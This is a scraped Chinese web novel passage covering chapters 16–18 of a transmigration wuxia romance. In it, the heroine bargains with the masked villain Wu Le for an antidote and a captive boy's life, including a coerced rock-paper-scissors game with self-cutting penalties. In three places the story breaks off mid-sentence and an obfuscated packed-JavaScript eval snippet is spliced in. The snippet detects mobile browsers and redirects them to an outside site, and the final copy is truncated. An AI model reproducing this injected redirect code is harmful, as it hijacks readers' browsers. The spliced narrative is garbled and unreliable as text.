可是这微波实在太小了,很快就被他忽略在了脑后,他想了片刻:“不该问的别问,管好你的嘴!” 黑衣人:“……” 冉云祉睡梦中似乎听到两个人一直在说话,吵得她无法安心入睡。对了,她已经睡了够久了吧?可惜她的思维陷在一场迷雾中,拼命睁开眼睛也做不到,直到有一双冰凉的手拍到她脸上,熟悉的喑哑声音在耳边响起:“醒醒。” 她终于冲开迷雾猛地睁开眼睛,稍微看清眼前的情况。伴随着聒噪的蝉鸣,眼前是一眼望不到边的树林,自己正靠在一棵树下半坐,银狼面具在阳光下泛着冰冷的寒光,那双眼睛正死死地盯着她。 无乐门主! 她迅速坐直了身子,周围小伙伴一个都不在,她落网了,心脏剧烈的跳动,从头到脚冷的刺骨。 天气还没有转凉,无乐却还穿着初见时单调的不能再单调的黑衣,将全身遮的严严实实,一头乌发未束散落下来,在阳光下罕见流露出柔软的光泽。 大夏天捂的这么严实,看着就热。她心道。 “无乐门主……好巧啊,你也来这边游玩啊……”她干笑几声,往后缩了缩靠上了树干,无乐门主靠的她那样近,几乎都要和她脸对脸贴在了一起,可他犹不知足,又靠近了几分。 “见到我,你很不开心?”无乐竟然笑了,依旧是那副高高在上的姿态,声音像是寒风裹挟,吓得冉云祉抖了一抖。 魔头笑起来,更没有好事啊! “怎么可能不开心,您这种惊为天人的存在,我做梦都想着再见您一面。门主,您最近过的好吗?” 她拼命的找话题拖延时间,既然他出现了,只要坚持到冉云清来找她,或许她还有救…… 无乐呵呵笑了几声:“是吗。” 他的笑声一如既往的不好听,配上他阴森的穿着,甚是可怖。冉云祉心里发毛,极度恐惧之下,手脚都失去了力气。 “最近过得不错,只是我好像听到有人说我又老又丑,惹得我很不开心。”话音一落,无乐满意的看到冉云祉的小脸变得惨白。 “门主您貌比潘安,风流倜傥,风华正茂,恍若天神下凡,全世界都找不出比您更好看的人了,是哪个不长眼的落嚼舌根惹您生气!” 无乐看着她在心底幽幽冷笑,果真是表里不一,贪生怕死,极度虚伪的女子。 “是啊,我很想拔了她的舌头。” 他顺应她的话凝视着她,突然轻笑,“小家伙,你捂嘴巴做什么?” 你说呢?我感觉你想把我的舌头拔了啊! “我问你,我的声音,是否难听?”他故意贴近了她的耳朵,那副沙哑的嗓音在她耳边响起,犹如鬼魅的低语令她汗毛直立。 她感觉就像是一块冰贴近了自己,就连他呼出的气都是冰的,这还不算恐怖的,恐怖的是他问的问题,每一个都是她曾经骂过他的。 “您的声音,用一句话来说,如听仙乐耳暂明!”她赔笑着,昧着良心说话。 似是意料之中的答案,无乐用食指抬起她的下巴,让她直视着自己,眼底的笑意狰狞可怖:“可是,我听说,那些话好像都是你说的呢?你还有什么遗言要辩解一下么?” 冉云祉只觉得脊背生寒,完蛋了,背后偷偷说魔头坏话,还被魔头知道了。 冉云祉还想挣扎一下:“谣言,这是谣言,门主您这么聪明的人一定要明鉴啊!我对门主您的景仰如涛涛洪水般绵延不绝,怎么会出言诋毁您!” 无乐似乎是对她这副不要脸的说辞搞懵了,片刻后十分鄙夷地看着她:“你当我是傻子吗?” 16.暗潮(三) 冉云祉大气不敢出,她鼓起勇气怀着最后一丝希望扯住了他的衣袖,手指抖得几乎抓不稳,又惹来无乐无比厌恶的眼神。 “松手!” “门主,我知道您想要我身上的灵泉玉,可是灵泉玉它有副作用,如果使用它的话,会惹来高烧……” 她的声音里都带着不易察觉的颤抖,生怕这个魔头生起气来,听也不听,一刀把她再次送回去,她岂不是窝囊死了? “所以呢?”他的眼神依旧很冷,目光阴狠的盯着她的那双手,感觉下一秒就抽出剑来就把她的手给砍断,吓得她赶紧抽回手背在身后。 果不其然,他猛然站起身来向旁边走了几步,从身侧的枯草中踢过来一把匕首,冉云祉吓了一跳,吞了吞口水。 他居高临下地看着她:“我给你两个选择,第一种,拿着这把刀,往你自己身上划上那么几刀,再用灵泉玉疗伤,证明给我看。” 魔鬼!绝对是魔鬼!冉云祉在心中怒骂,面上却根本不敢表现出来。 他顿了顿,声音低下去几分:“第二种,告诉我,之前你做糖画的姿势,是什么意思。” 冉云祉愣了一愣,大概没想到大魔头会对这个感兴趣,她本来还以为魔王会说一句“第二种选择——死”,电视剧里反派不都是这样的吗? “我说了你会放过我吗?”她试探地问。 无乐没有回答她,只是抛给她一个冷冷的眼神。 她当即不敢问了,总之也是拖延时间,再说也没什么瞒着的,如实相告:“其实,那个姿势,也是比心。” 无乐不相信,冷声道:“骗我,剁碎了喂狼。” 好凶啊。冉云祉瘪瘪嘴,小心的从身后抽出手来,悄悄看了他一眼,一左一右冲他比划:“一个姿势当然看不出来,但是要是两个人做这个姿势的话……” 在无乐的视线里,那两个怪异的动作,合在一起的时候,竟然组成了一个“心”的形状。 如此愚蠢的动作…… 他心头漫上一股浓烈的屈辱,这种把他玩弄于鼓掌中的感觉,将他视作一个无法反抗的布娃娃摆出让她满意的动作,让他无比厌烦,他登时眯起了眼,看她的眼神像在看一个死物。 冉云祉当然也感受到了他突然涌起的杀意,怎么刚才看着魔头好像很友好,这是又怎么了…… 魔头的心思反复无常,着实难猜。 “我不想脏了自己的手,你自己识趣一点,自行了断吧。”厌恶、扭曲、阴狠,各种情绪交织在他眼底,甚至比刚认识的时候还要癫狂。 “你不是说给我两个选择吗,我……” 他冷冷打断,一副不想听她多说的样子:“谁听见了?” 冉云祉眨了眨眼,魔头要赖账,她又有什么办法?怪就怪她干嘛要相信魔头的话。 可是,她真的没有生路了吗?她的心渐渐沉下去,已经拖了这么久,到底还是没有坚持到冉云清来救她。 她在这个世界还是太弱小了,就不该多管闲事,你看,小命搭上了吧。 “还不动手?”他似乎是对她磨磨蹭蹭失去了耐心。 她看向匕首,怎么看怎么眼熟,她瞪大了眼睛,一把将匕首拿起来反复确认:“这是我送给烛乐的匕首,怎么会在这,你把他怎么了?” 是了,这是昨日她刚刚送出去的匕首,为什么会在这里,难道无乐是烛乐吗? 她被心底的怀疑吓了一跳,仔细端详对面的人,可是怎么都不能将面前的杀人魔头与那个柔弱的白衣少年重叠。 不会的,戴苍说过,烛乐没有内力,也不会术法,显然无乐是一个功力不知有多深厚的老东西,更何况无乐身上没有一丝丝温度,但烛乐却是一个正常人应有的体温。 她到底没有细想,如果他真的是烛乐,要杀她的话,这一路有无数个时机,何必等到现在才动手。 她低下头思考,无乐竟意外地笑了:“哦?你很关心他?” 他这副样子不知道在打什么鬼主意,冉云祉握紧匕首,连忙摇头:“不……不关心,他就是我随手救的人,根本……不重要。” “不重要啊……”无乐念叨着,慢慢蹲到她身前,与她视线持平:“那就把他杀了怎么样?” 仅这一句话,就让她头皮发麻,他说的轻轻松松,就像今天天气很好一样简单。 “你怎么能随便杀人?” “捻死一只蝼蚁而已,怎么能算是杀人呢?反正你也不在乎。” 冉云祉深吸了一口气,对魔头她还有什么话好讲,对上这样的人,灵泉玉发挥不了半点作用,她唯一能用得上的,只有手里握着的小小匕首。 必须一击即中,让他失去行动能力,他是反派,是毁灭这个世界的大魔头,决不能心软。 “捻死我们这些毫无反抗能力的蝼蚁,你很开心?”她说。 “呵,当然,看它们挣扎着想活下去的样子很有趣。”他不知道想到了什么,眼底阴影忽闪忽闪。 她不认为自己能斗的过无乐,但她也不能坐以待毙,不试一把,等待她的只有死亡。她说着话吸引他的注意力:“……他只是一个普通人,与我们之间的纠纷没有关系。” “你说得对,这样的人消失不是更好吗?”他的语气根本没有一丁点起伏,好像这是再正常不过的一件事。 说时迟那时快,冉云祉有生以来第一次又快又狠用尽全身的力气向着对方刺去。 她第一次用刀杀人,面对强大的敌人,紧张,又不安,原来在这样的世界里,也将她同化成了一样的人,不择手段只为活下去。 近了! 但在刺到他的瞬间,她的手凝滞在半空中,无乐伸出手来,仅仅用两根手指,轻轻松松接住了匕首,眼睛都没有眨一下。 他们之间的差距,隔着十万条长街,是她不自量力、痴心妄想。 无乐鄙夷开口:“小家伙,你的胆子挺大,还敢对我动手。” 在无乐看来,她这样的行为无异于自寻死路,蜉蝣撼树,但多多少少让他觉得她终于露出本来的面目。 最后一丝希望破灭了,冉云祉放弃挣扎,匕首直直坠落下来,发出清脆的一声,回荡在这空旷的树林,似乎在宣告着故事的终结。 她想,大不了回到自己的世界去,把无乐诅咒一辈子,没什么大不了的,死过一次了,她才不要怕。 “就算我什么都不做,你也不会放过我,要动手就动手吧。我还指望你会大发慈悲放过我和烛乐吗?”她摇摇头,“我这能力,根本救不了他,我不折腾了,是我不好,从一开始就不该把他牵扯进来。” 说完,她也不看他了,越过他抬头看着被树叶切割成的无数片细碎的光芒。 可是她越是这样说,无乐越是一身反骨不如她所愿:“我倒是可以再给你一个选择……” “少骗我了,你一刀把我砍了,我也就没什么遗憾了。”她破罐子破摔,竟然可以面不改色对他说话了,“你不可能放弃灵泉玉,早晚我都要死,既然如此,宁为玉碎不为瓦全,我虽然没什么本事,但也不是任你欺辱的。” 她昂着头,露出白皙优美的脖颈等待受戮,像一只漂亮倔强的天鹅。 她也不是那么蠢。无乐想,突然间便想到一个比杀死她更好的主意。 “说的很好。”他简直要为她鼓掌了,嘲笑地站起身,“说的如此冠冕堂皇,你自己又何尝不是虚伪自私,对我举起匕首的那一刻,你不也是一个只为自己的丑陋杀人魔,你又何必站在道德的制高点指责我的所作所为?” 她摇摇晃晃站起身来,现在她的体力已经恢复的差不多了,不能输了气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418726|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,无乐并没有阻止,视线散漫地落在她身上。 “我从来没有站在制高点说你什么,因为我不是你,我对你拔刀只是因为我想活着。但是你呢?无乐,如今你逼我做这些,世人知道了只会更加鄙夷你,欺负一个弱女子,你很骄傲吗?你活了一辈子,别人可念你半分好?醒醒吧老东西,你自以为强大,别人只想你去死……” 她刚要再说些什么,却发现无乐好像根本没在听,他扭头看向遥远的另外一边,紧接着,她似乎听到了急促的脚步声。 是冉云清和戴苍?她心头一喜。 “呵,果然他们掌握了什么玄机,能轻而易举的找到我。”他像在自言自语,但他看上去并不着急,甚至还有了扭曲疯狂的笑意。 “你很有意思。你说的那个小子现在在我手里,想救他的话,今晚我在这等你,我们来玩个游戏。赢了,人还给你,输了,灵泉玉归我。当然,为表示你的诚意,不许告诉任何人。” 冉云祉瞪大了眼睛,这么明显的陷阱,她要是去可就是标准的送人头行为,她才不傻。 “你又想骗我?”她嘟囔出声。 他要离开的时候,似乎想起来什么,瞥了她一眼:“当然,你可以不来的,我要是等不到人,或者你泄露了什么,那我便亲自送你一份礼物。我想想,就把那小子的残肢送给你如何?” “我才不会去,你对他做什么都与我无关,我和他没关系。”她定了定神,摆出一副无所谓的语气道,但心里还是没把握,对上他,她真的太被动了。 “好狠心的女人。”他头也不回,轻描淡写的又加了一句,“那个可怜的孩子还在等着你呢,你可是他唯一的生路了。可惜,他等的是一个虚伪的女人,呵……哈哈哈……” “你一定会来的吧?” 也不知道他哪来的自信,他又意味不明的加了一句,身影似一阵风消失在丛林深处。 他好像越被骂越兴奋,不杀她,却用最狠毒的方式来折磨她,把她坚信的东西瓦解。 冉云祉当然可以不管烛乐,她本就是普普通通的一个人,穿进来也仅仅是炮灰,没有任何能力,说不定还给队友拖后腿。 如果她牺牲掉了烛乐,选择跟随主角苟活,按照无乐的性子,真的能做出把烛乐杀了送到她面前来的事情。 她这样随遇而安的人,哪怕回到原本的世界,只要一想起她眼睁睁的看着那个少年惨死在自己面前,她却选择自己活命,这一生都将受到良心的谴责。 倘若她选择牺牲自己,烛乐拿到灵泉玉,无异于加重了冉云清走剧情的难度。 兵不刃血,用心理战摧毁一个人,对于她这样的人来说,还不如刚刚把她杀了一了百了。 他真的好狠。 这场他摆下的棋局中,她面对的如此残局,究竟该如何破解? 无乐消失的片刻,冉云清与戴苍出现在她的面前,他们两人都或多或少的负了伤,冉云清的脸色相比起来苍白到毫无血色,站都站不稳。 看到她平安无事,冉云清的一颗心才彻底放下来。 “还好你没事,你有没有见到无乐门主?”系统告诉她的方向在这附近,可是来到这里好像又突然消失了。 冉云祉嘴角动了动,她怎么说都会露出破绽来,索性直接装傻:“我不知道,醒来就是在这里。” “真的没有看到吗?烛乐呢?”冉云清察觉她的神情不自然,开口问道。 “他……他的亲人找来了,所以他先回去处理事情了。”她心不在焉地编了个谎话,心里担心冉云清的伤势。 但冉云清似乎不怎么相信的样子,可她现在也无力去做什么。 “先不说这个,我们先回去,师妹中毒了。”戴苍的眉头皱起,“没想到无乐门主这么阴毒,还在兵器上抹了毒。” 17.暗潮(四) 先前多次交战,戴苍低估了无乐门的能力,十几个黑衣人他尚且不放在心上,可谁知刀剑划开皮肉,武力尽失,他才发觉流出的是黑血,方才得知刀剑有毒。 形势逆转,他只能一面护着冉云清,以防毒素扩散,一面快刀斩乱麻,剑光翻飞之间,生生杀出一条血路。 冉云清迅速点了穴道不至于毒素扩散,那样危机的情境下,她不能让自己成为戴苍的累赘。 两人并未多说什么,冉云祉也知道两人定是经历过一番殊死搏斗,如今两人落得这个境地,受伤皆是因为她。 如果不是因为她一意孤行离开山庄,没有救下烛乐,执意要来找邹公子,那么无乐就不会趁虚而入使出阴险手段,也不会让他们陷入这样危险的阵地。 可是没有如果。 她如坐针毡,明亮的眼睛里也失去了神采:“对不起,让你们担心了,以后我再也不任性了。” 他们临时找了一处医馆歇脚,冉云祉神色凝重地使用灵泉玉。 灵泉玉能治愈伤口,却不能解天下奇毒。她一遍遍的拿灵泉玉去试,但灵泉玉的微光闪过后再也未曾亮起。 戴苍看了看,摇摇头:“这毒拖上三日,师妹经脉尽毁,怕是这一辈子都没办法持剑了。” 无乐门主一出手便是如此狠毒,不留情面,喜欢摧毁别人最珍视的东西,却不给人一刀来个痛快。 冉云祉咬着牙执拗地再试了一次。 “不用尝试了。”眼看她额头沁出冷汗,冉云清拦下她。 戴苍低着头思考对策,沉吟道:“既然无乐门主没有对我们下死手,想必他还在盯着我们。” 越是在这种焦灼万分的时刻,戴苍便会显露出他可靠的一面。 “他想要灵泉玉。”冉云祉起身,“他想逼我交出灵泉玉,才用此下三滥的招数。” 不愧是大反派,什么招式狠毒用什么,她越来越鄙视他。 但这人却很奇怪,顺着他他会冷冷嘲讽,确实骂他,他看起来还挺兴奋? 挺变态的一个人。 “痴心妄想。” 冉云清将衣袖挽下,那里经过灵泉玉的治疗已经看不出伤口,可是毒素还留在体内,她拿起剑试了试,内力全无。 此刻的她和一个普通人没什么分别。 “都是因为我姐姐才受伤。”冉云祉低下头自责,不敢直视两人的眼睛,“我就不该……” “二小姐不用自责,这与你无关,我们之前得罪了无乐门主。按照他的性子,没有你,他也绝不会轻易放过我们。” 不一样的,如果灵泉玉不在她身上,那么至少他们不会这样被动。 看着她神情沮丧,冉云清给戴苍递了个眼神,后者看了她一眼,意识到姐妹俩有话要说,心领神会的离开房间,贴心地将门关好。 “我问你,烛乐到底去哪里了?”冉云清注视着她的表情,开口询问。 她总觉得这个烛乐很奇怪。 提到烛乐的名字,冉云祉眼底更是愧疚。人是跟着她的,若是死在无乐手里,她一辈子都不会原谅自己。 “姐姐,我真不能说,我是不是不该多管闲事?”冉云祉深吸一口气,视线恍然望向一个点,“都是我的错。” 冉云清替她擦擦额头的汗,柔声道:“如果不是你出现,灵泉玉已经在无乐手里了。这一次是我能力不足,没有考虑周全,怎会怪你?” “可是我还是做错了。” 冉云清轻笑,定定地望着她的眼睛:“我们又不是神,不是机器,怎么会做到一次错误不犯?我在你这个年纪的时候,犯过的错误可多了。” 她语重心长,犹如一位经历风雨的长姐,指引她走出迷雾:“不管你做什么,重要的是无愧于心,你热心善良,错的怎么会是你,错的只会是那些心思歹毒之人。” 手心被紧紧握住,冉云清轻轻地抱了抱她。 “我一直想对你说一句话。如果说这个世界都是虚幻的一场梦,那只有与我来自同一个世界的你是真实的。既然我是你的姐姐,那我拼全力也会护你周全。如果你做错了事,作为长姐,那我会帮你纠正。” 冉云祉埋在她的怀里,几欲流泪。 初见冉云清时认为她冷漠不近人情,得知她现世的身份又觉得贵不可攀,可她今天才知道她并不是冷淡,她只是不会表达自己的内心。 她随心所欲不计后果地犯蠢,冉云清没有一声责备,包容她所有的任性,告诉她“你这样很好”,哪怕她做错了,她也会说“我会替你纠正。” 明明没有血缘,却是比血缘更为紧密的存在。 她将眼泪生生忍住了,她不应该这么颓废,让他们为自己担心。 “姐姐,我不会让人伤害你的。” 这是我做错的事,我会直面一切,哪怕我自己身死,我也要试一次。 她一字一顿,坚定地告诉她,也是告诉自己:“我们一定会完成任务,平安地回到自己的世界去。” 屋内谈话的声音渐渐小了,戴苍倚在门边,听着里面断断续续的声音。 清风徐徐,树影摇曳,他抬头遥望远处湛蓝天穹,眉目里难得有了一丝不易察觉的忧虑。 “果然……不是呢……” 声音隐入月色里,再无声息。 * 夜深人静,确认冉云清与戴苍睡下之后,冉云祉晃晃悠悠的强撑着从床上爬起来。 如她所料,只要一使用灵泉玉,她必定要烧一夜,但不管怎样,这一次她也得去赴约。 她与无乐之间,必须要有一个结果。 如果他真要杀了自己,早就如初见时不由分说一刀结果她,他没动手,事情应该还有回旋的余地。 她没有筹码,可是那又如何?她惹出来的祸端,就让她自己解决好了。 留下一封信交代了此行的目的,或者将其称为遗书更为合适。她轻手轻脚的推开门,向着白日里去过的山林前进。 月光从天边飘动的朦胧乌云中洒下,透过树叶间隙,落在地面像是斑驳的寒霜冷冽。冉云祉手持提灯,高热灼烧的她头痛欲裂,模模糊糊几乎看不清前方,差点撞上一棵树。 “那条路怎么走来着……”这里的每一棵树看起来都长的是一个样子,晚上廖无人烟,远处传来的几声窸窸窣窣的声响。只有她手里的提灯在这夏夜里发出微弱的光亮。 踏过低矮繁密的灌木丛,绕过拦路的碎石,她沿着几乎看不见的车辙缓缓前行。 她一手揉着额头,拼命睁着眼睛,可是视线里却仍是模糊一片,并没有发现地面有一个低洼的小坑。她的脚一下子踏空,失重的感觉一下子涌来,她站立不稳,正要往地下摔去。 可当她真正要摔倒地上时,有人抢先一步将她捞了起来,借了力让她稳稳站在自己面前。 隔着衣料,冰凉的感觉还是传给了她,让置身在火热感觉里的冉云祉稍微回神,抬头便看到那双比冰雪还要寒凉的眸子。 若她仔细去看的话,那双除了冷漠没什么其他情绪的眼睛里多了一种极为纠结复杂的情绪。 “我来赴约了,你不准动烛乐,还有,解药给我!”她踮脚扯住他的衣领,嘴角抿成一个倔强的弧度,丝毫不落下风。 无乐盯着她的视线几秒,却没有回答她,将她往身旁带了带,像是对什么人吩咐:“处理一下。” 他的语气还是没有什么波动,自她身后传来嘈杂的声响,好像有谁在呼唤她,可她没有听清,因为无乐已经将她带离了那处地方。 无乐瞥了一眼她脸上不自然的薄红,眉头微蹙:“身上这么烫,谁让你用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439647|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵泉玉了?” 周围的景象迅速倒退,他快速在林间奔走跳跃,有这样的速度,可见他的轻功绝不在戴苍之下,然而这人却像扛麻袋一样将她十分粗鲁的扛在肩头,全然不顾她此刻胃里翻江倒海。 冉云祉只觉得周围景象迅速幻化,她挣脱不得,只能被动的接受他这样的对待,原本就不舒服的头更加眩晕:“灵泉玉在我身上我想用就用!反正我来赴约了!你别动烛乐听见没!” 她脑海里想说的话很有气势,可因高烧说出来的话却是软绵绵有气无力的。 “哼,倒是还记得烛乐。”他完全忽略了后半句,语气忽而带了几分调笑,终于寻到一处僻静之所,终于停下脚步,将人扔到地上,轻轻弹了弹衣服上的褶皱。 冉云祉在地上滚了一圈,撞得头晕眼花,眼前好像有许多小星星在晃,几乎躺在地上晕死过去不动了。 无乐看她没声响,走上前踢了踢她:“起来,刚才的气势呢。” 她强睁着眼睛看向那高高在上俯视自己的人,重重的呼出一口气,难受的半晌没说话。 无乐将她面上的恼意尽收眼底,他清楚地知道冉云祉是一个贪生怕死的自私小人,且烛乐与她萍水相逢,他没想到她真的会只身前来送死。 刚才那个讨厌的小尾巴,按照她的反应来看,应该是不知情的,那他也就不计较她泄密了。 “病成这样还来,当真不怕死。” 冉云祉闭上眼睛。身上每一处好像被架在大火翻烤,整个人都像要燃烧起来。 她废了好大的力气才听清无乐说的是什么,缓过神来,一下子从地上坐起来:“少废话,你想玩什么,我奉陪。但是你要是言而无信杀了我,姐姐和三殿下便会飞鸽传书,江湖上就会到处传播你欺负弱女子,以及各种奇怪癖好的传闻,让你声名狼藉!” 反正她小命都不要了,什么都豁的出去。 “你觉得我在意么?”他斜睨了她一眼,指尖忽而凝起,聚成小小的冰片,裹成布条黏到她的额头上。 “什么鬼东西!”这东西贴上来的瞬间,稍稍缓和了她的痛楚,竟意外的带给她一种舒适的感觉,好似干枯许久的大地终于遇到了那一抹甘霖。 “带着,我可不想跟一个神志不清的人玩游戏。”他轻嗤一声,瞧着她眼里恢复了一些神采,趁她不注意,撕下她的一块衣摆垫在身下。 “老流氓!”她怒骂一声,看着自己的裙子心疼极了,“你干嘛扯我的衣服!” “地上脏。”他眉头都不皱,“还有,你跟我约定赌那小子的命,解药并不在我们的赌约之内。” “……” “可谁让我心软,嗯……我允许你选择?”无乐蹲下来,带着面具的脸狰狞地靠近她:“说吧,要那个小子活下去,还是要一颗救你姐姐经脉的解药?对你来说,并不难吧?” 他心头都漫上一股自嘲,他又能听到什么答案呢? 萍水相逢的路人和深厚血缘的亲人,傻子都知道怎么选。 她并不回答,无乐等了几秒,期待不断下坠,一时有些急切,抓住她的肩膀说道:“快选!” 或者说他不想等待那么久迎来失望。 “烛乐和姐姐,我都不能放弃。”肩膀上的痛楚清晰,她咬住嘴角让自己的理智回神,坚定地凝视着他的眼睛,“你为什么总是想让我做出选择?你之前是不是很痛苦,以至于你痛恨所有人?” 说罢她又摇头:“不,你也痛恨自己,你不止想毁掉这个世界……你是不是也想把你自己毁了?” 眼前人的瞳孔剧烈震颤,似乎是被戳中了心底最隐秘的伤疤,连同他的呼吸都停滞几秒。 “我最讨厌别人揣测我的心思。”他提起她的衣领,眼神冷的仿佛下一秒就会把她碾成粉末,“你还知道多少?” 18.暗潮(五) 耳边传来的声音阴冷可怖,冉云祉并没有觉得害怕,她微微一笑:“门主,你应该还不知道其他神物是什么吧?我用这个和你赌。游戏规则我来定如何?我赢了,你把烛乐还我,输了,我告诉你神物是什么,怎样?” 无乐瞥了一眼她:“我没有时间……” “一刻钟即可。”她伸出手指头向他晃了晃打断他,“门主,这对你并不亏,烛乐对你来说是个普通人,生与死并不重要,可是你赢了,你能得到神物的消息,对你的行动是不是方便了许多?” 清脆的声音在他耳边环绕,对上她稍加涣散却依然明亮的眸子,他鬼使神差的同意了。 “超过一刻钟,我就把你俩一起剁碎了喂狼。”静谧的月光下,纯白的银狼面具上闪着一丝玩世不恭的恶劣。 冉云祉露出亲和力的笑容,也不废话:“猜拳玩过没?” 他眼底划过些许茫然,像是完全没有听过一般。 冉云祉很有耐心地解释游戏规则,无乐眼底立马迸发出一丝恼怒,连带着他的声音也添了几分沉郁。 “幼稚。” 如此儿戏的游戏,还一局定胜负,她就如此确信她能赢过自己,还是说她根本就把烛乐的生命当做儿戏? 他很生气,但又不知道自己为什么生气。 “你别看这游戏简单,你绝对赢不了我,你信不信?”她很有信心地一笑。 她越是这样笃定自己能赢,无乐越不想让她如愿:“我改变主意了,这局游戏的彩头,我用解药与你换。如何?” 冉云祉揉揉脑袋,百思不得其解。 他撑着下巴,冷哼一声:“谁说那小子对我没用?不是你说的吗?我喜欢男人,我见他模样不错,原想留下来的。反倒对你来说,无论是解药还是那条命,都是一样的吧,就算最后你输给我了,那小子只不过会留在我身旁而已,你也不亏吧?” 冉云祉惊的张大了嘴巴,她才不信无乐留下烛乐是因为她随口说的那句话,可她又无法反对,只能同意。 可是无乐好像被她这没有反驳就轻易接受的态度搞的更生气了。 片刻后,一阵放肆的笑声回荡在丛林里。 无乐皱着眉盯着自己刚刚出的石头,再看看对面笑的开怀的女子,阴沉着脸不说话。 “门主,你输给我了。”她大咧咧的伸出手,“解药,拿来,堂堂门主不要赖账。” 其实,她还真的有点害怕无乐因为失败恼羞成怒把她砍了,毕竟他阴晴不定的,谁也不知道这魔头心里在想着什么,但她不能表现出忐忑的情绪,就算输也要输的漂亮。 无乐看了她一会,还真的从怀里掏出了一个小瓷瓶丢给她,冉云祉赶紧宝贝似的护住,有些不确信地问道:“你不会拿假药糊弄我吧?” “我可以给你来一刀,你自己试试能不能解毒。” 冉云祉还是有点不相信,是不是因为她头太晕了出现了错觉,狐疑地问:“你会这么好心?” 无乐抱起手臂看着她,嘴角恶劣的勾起:“我是给你解药了,但是你有没有命带走,那是另一回事了。” 神思昏沉间,突然听到这么一句,她立马清醒过来。 老东西就是老奸巨猾,难怪要突然与她更换赌注……原来还有这一层算计在等着她。 怪她神志不清中了这老东西的毒计。 “算你狠。”她咬牙切齿,狠狠地咬了一口嘴唇,“在下局游戏之前,我要确认烛乐还活着,可以吧?” 在这段时间内,她还是很难受,她只能用这样的方式来维持自己的清明,不让自己晕过去。 无乐看着她嫣红流血的嘴唇,怎么看都觉得有些刺眼,不悦道:“哼,本来也是让他过来的。” 他拍一拍手,暗处便走来了一个人,白衣少年,纤尘不染,停下脚步淡淡的看着他们。 一段时间不见,冉云祉瞧着他有些奇怪,但还是没说什么,至少人还活着,她心里的石头放下,上前握住他的手扬声道:“烛乐,等着,我今日一定会带你离开的。” 正说着话,手上一阵刺痛,原来是一片冰擦着她的手划过去了,紧接着身后那道凶狠的声音响起:“要你看着,谁要你碰他了?” 又发什么神经。她不甘示弱的瞪回去:“我的人我碰一下怎么了?你是不是又老又没人要嫉妒了?” 一道冷光从面具的眼睛里射出来,他声音里竟然染上了一分笑意,她忍不住浑身一冷。 “你给了我一个很好的思路。你不是喜欢玩猜拳吗?”他一字一顿,声音寒凉,“那我今日便让你玩个够。” 冉云祉心头涌上一股不好的预感,果然,这魔头将那把匕首扔到两人面前:“你这么想救他,与他猜拳,谁输了,自己用那把刀往自己身上划一刀。对了,不见血是不行的。” 他说着,手腕翻转之间,一根香插在冉云祉与烛乐中间,他一个响指,那根香香无火自燃:“一柱香为期,若是你能坚持过一柱香,就算你赢。当然……” 他话锋一转,来到另一侧坐好,笑意盈盈地补充:“毕竟你刚才与我玩的时候那么快就结束了,若是你跟他猜拳拖的太久,拖到我没耐心的话,我会再为你们续香。直到我们分出胜负。” “你怎么不去死呢!”冉云祉忍不住了,她一拍桌子站起来,指着他的鼻子就是一顿骂。 他的意思她听明白了,那一柱的时间内,他们的猜拳加上惩罚次数,怎么着也得有个三四十次,可是如果受了这么多刀,无论是烛乐和她,哪怕是分摊一半,痛苦程度可想而知。 他根本就是个变态!疯子! 没想到无乐根本不生气,反而含笑看她一眼:“声音小声点,你可以不参与,那我就将他剁碎了喂狼。哦对了,你说过你怕疼……没事,你赢过他的话,痛的是他,你就不会疼了。” 而烛乐自始至终都没有说话,坐在那乖巧的像个木偶,安静的有些诡异。 冉云祉气血上涌,又是一阵头晕目眩,她晕晕乎乎的跌坐下来,半晌没出声。 “这就是你信誓旦旦口口声声的会把人带走?”无乐出声嘲讽,“不过如此。” 冉云祉冷静片刻,深呼一口气:“好,我参与,你最好不要骗我。” 反正她有灵泉玉在,只要能熬过去,事后定能护她周全。 无乐眸光微动,盯着她的侧脸看了几秒,没有说话。 猜拳虽然是很简单的游戏,但是冉云祉却总结出一个小小的诀窍,其中剪刀这个动作相比石头和布难做,而无乐那样的人看起来是不太会做出剪刀的手势,因而他出“石头”和“布”的可能性比较多,她出布的话,赢面很大。 这是她刚才战胜无乐的一个小技巧,仅限于一局定胜负,刀子痛在她身上和烛乐身上,她都会难过,第一场她尚且能控制输赢,往后便有些难了。 不过就是几道小伤口而已。 烛乐依然没有开口,沉默的如同一座雕像。 第一场如她所料败下阵来,她毫不犹豫的抓过桌上的匕首,给自己的手臂来了一刀。 好疼啊。她死死地咬着牙,瞥了一眼哗啦流血的手臂。 无乐目光颤了颤,没有说话。 第二局,她赢了,可是她却抢先拿起了那柄匕首,刀光正要划下一道弧线。 无乐突然觉得很没意思,出手按住她的手臂,力道大的几乎要把她捏碎了。 “怎么,我替他受着还不行吗?反正你想整的是我不是吗?”冉云祉冷冷出声,却没有松开匕首的意思。 他指着烛乐,沉着脸问她:“他从见到你,一句话都没说,没有内力不会法术,甚至还要你废心思去救,你为了这样一个人高烧甚至或许可能去死,值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 